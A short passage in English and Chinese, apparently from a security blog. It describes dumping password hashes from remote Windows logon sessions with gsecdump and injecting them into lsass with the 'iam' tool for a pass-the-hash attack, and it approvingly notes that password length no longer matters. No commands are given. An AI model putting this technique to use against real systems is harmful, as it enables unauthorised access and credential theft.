to get the hashes from active logon sessions of a remote system.

These are a lot better than getting a cachedump of the Cached Credentials because these hashes are LMHashes that can be easily broken with Rainbow Tables.

提示一下,可以使用pshtools工具包中的iam,把刚才使用gsecdump抓取出来HASH信息导入本地的lsass进程,来实现hash注入式攻击,还是老外厉害,这下管理员有得忙了,ARP欺骗的时候获得的LM/NThash,还有gethash获得的,其实根本不用破解密码,这个就是利用工具了,原文说的好,不管密码是设置4位还是127位,只要有了hash,100%就能搞定了.
